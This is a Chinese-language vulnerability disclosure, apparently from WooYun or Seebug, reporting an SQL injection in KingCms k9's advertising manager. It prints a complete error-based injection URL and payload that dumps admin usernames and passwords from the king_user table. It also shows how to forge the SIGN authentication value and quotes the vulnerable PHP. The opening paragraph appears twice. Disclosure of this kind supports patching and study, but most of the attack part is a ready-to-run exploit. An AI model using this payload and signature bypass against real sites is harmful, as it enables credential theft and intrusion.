### 简要描述: KingCms最新版(k9)注入一枚 ### 详细说明: 朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9(2014-12-13更新),官网下下来学习一下。 在wooyun上看到了几个漏洞,如: [WooYun: kingcms最新版sql注入漏洞](http://www.wooyun.org/bugs/wooyun-2013-043520) 注入点:GET /apps/advertising/manage.php?jsoncallback=1&_=1&CMD=edt&AJAX=1&USERID=10000&SIGN=89ee81f5f1f328f555ceb7e7655d9f2f&type=1'/**/UNION/**/SELECT/**/1/**/FROM(SELECT/**/COUNT(*),CONCAT(0x23,(SELECT/**/concat(username,0x23,userpass)FROM/**/king_user/**/LIMIT/**/0,1),0x23,FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.tables/**/GROUP/**/BY/**/x)a%23 HTTP/1.1 注入参数:type 问题文件在/apps/advertising/manage.php ``` function _edt(){ $u=new user; if (!$u->auth_role('advertising_edit',true)) kc_tip('您无权编辑广告'); $db=new db; $str=new str; $id=kc_post('id',2); $data=array(); $time=time(); $type=kc_post('type'); $today=$str->formatDate($time,'Ymd'); //$config=require ROOT.'apps/advertising/include/config.php'; //$config=require ROOT.T.'advertising/include/config.php'; if...
### 简要描述: KingCms最新版(k9)注入一枚 ### 详细说明: 朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9(2014-12-13更新),官网下下来学习一下。 在wooyun上看到了几个漏洞,如: [WooYun: kingcms最新版sql注入漏洞](http://www.wooyun.org/bugs/wooyun-2013-043520) 注入点:GET /apps/advertising/manage.php?jsoncallback=1&_=1&CMD=edt&AJAX=1&USERID=10000&SIGN=89ee81f5f1f328f555ceb7e7655d9f2f&type=1'/**/UNION/**/SELECT/**/1/**/FROM(SELECT/**/COUNT(*),CONCAT(0x23,(SELECT/**/concat(username,0x23,userpass)FROM/**/king_user/**/LIMIT/**/0,1),0x23,FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.tables/**/GROUP/**/BY/**/x)a%23 HTTP/1.1 注入参数:type 问题文件在/apps/advertising/manage.php ``` function _edt(){ $u=new user; if (!$u->auth_role('advertising_edit',true)) kc_tip('您无权编辑广告'); $db=new db; $str=new str; $id=kc_post('id',2); $data=array(); $time=time(); $type=kc_post('type'); $today=$str->formatDate($time,'Ymd'); //$config=require ROOT.'apps/advertising/include/config.php'; //$config=require ROOT.T.'advertising/include/config.php'; if (METHOD=='GET') { //添加的时候初始化数据 if (empty($id)) { $rs=$db->getRows_one('%s_advertising','edate',"type='$type' and status=1",'edate desc'); if(empty($rs)){ $data['sdate']=$today; $data['edate']=$str->formatDate($time+86400*31,'Ymd'); }else{ $data['sdate']=$rs['edate']>$today ? $str->formatDate(strtotime($rs['edate'])+86400,'Ymd') : $today; $data['edate']=$str->formatDate(strtotime($data['sdate'])+86400*30,'Ymd'); } $data['cdate']=$str->formatDate(time(),'Ymd'); $data['status']=1; $data['price']=100; $data['src']='/banner/'; }else{ $data=$db->getRows_one('%s_advertising','*','id='.$id); $type=$data['type']; } } ``` 这里有个if判断if (!$u->auth_role('advertising_edit',true)),只要使GET[‘SIGN’]为下面的SIGN即可。 ``` <?php $str="10000";//10000即GET参数中的USERID $str.="kingcms.com"; $SIGN=md5($str); ?> ``` $type是这样获得的$type=kc_post('type');,去看看kc_post() ``` function kc_post($name,$type=0,$is=0){ //判断是否为通过admin平台传递来的值 //if(empty($_GET['jsoncallback'])){ $post = isset($_POST[$name]) ? $_POST[$name] : false; //}else{ //$post=isset($_GET[$name]) ? $_GET[$name] : false; //} if(!empty($post)){//如果有值,则判断类型 if(!kc_validate($post,$type)){ kc_tip('POST参数 '.$name.' 数据类型不正确'); } } if($is && $post===false){//要求有值的时候判断 kc_tip('POST参数 '.$name.' 不能为空'); } return $post; } ``` 可以看到利用kc_validate($post,$type)来对数据进行过滤,但是当kc_validate($post,$type)的第二个参数$type默认值时,则不会过滤,这里在使用kc_validate($post,$type)时,第二个参数就是使用的默认值,也即这里没有过滤。 一直到进行数据库都未过滤,执行了$rs=$db->getRows_one('%s_advertising','edate',"type='$type' and status=1",'edate desc');造成了注入。 Kingcms可以报错,因此 Payload: ``` type=1'/**/UNION/**/SELECT/**/1/**/FROM(SELECT/**/COUNT(*),CONCAT(0x23,(SELECT/**/concat(username,0x23,userpass)FROM/**/king_user/**/LIMIT/**/0,1),0x23,FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.tables/**/GROUP/**/BY/**/x)a%23 ``` 注入成功,见下图 [<img src="https://images.seebug.org/upload/201503/130101364044a3ea327c711d51c0a92ba0329c74.jpg" alt="成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/130101364044a3ea327c711d51c0a92ba0329c74.jpg) ### 漏洞证明: 见 详细说明